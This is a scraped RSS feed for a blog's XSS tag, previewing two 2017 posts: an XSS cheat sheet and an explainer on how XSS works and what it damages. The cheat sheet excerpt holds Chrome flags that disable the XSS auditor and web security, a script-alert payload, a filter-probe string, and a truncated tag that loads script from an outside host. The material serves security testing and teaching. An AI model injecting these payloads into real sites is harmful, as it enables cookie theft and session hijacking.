https://www.chenshaowen.com/en/tags/xss/Recent content in XSS on Shaowen Chen's WebsiteHugo -- gohugo.ioen©2016 - {year}, All Rights Reserved.Sat, 20 May 2017 09:12:31 +0000weeklyhttps://www.chenshaowen.com/en/blog/xss-cheat-sheet.htmlSat, 20 May 2017 09:12:31 +0000Sat, 20 May 2017 09:12:31 +0000https://www.chenshaowen.com/en/blog/xss-cheat-sheet.htmlIf you use the Chrome browser to test XSS vectors, disable the browser’s XSS interception first. First, close all Chrome browser processes, then run: 1 chrome.exe -args --disable-xss-auditor --args --disable-web-security Enter non-web-safe mode. 1. Injecting HTML/JavaScript with the <> tags 1 <script>alert('XSS')</script> 1 '';!--"<XSS>=&{()} 1 2 //The quotes around SRC can be omitted <SCRIPT SRC=http://ha.微信公众号SecurityXSSR&DVulnerabilityFrontendhttps://www.chenshaowen.com/en/blog/principle-and-construction-of-xss.htmlTue, 16 May 2017 20:04:53 +0000Tue, 16 May 2017 20:04:53 +0000https://www.chenshaowen.com/en/blog/principle-and-construction-of-xss.htmlXSS is an attack technique that executes JavaScript in the frontend. With the popularity of UGC sites, the data generated by users has surged, and the ever-denser network of data blocks makes it easier to carry out and spread XSS. The damage XSS causes includes: stealing user cookies and personal information; hijacking sessions and manipulating users’ network data; launching DDoS attacks; tampering with pages, popping up ads, and so on.微信公众号SecurityJavaScriptXSSR&D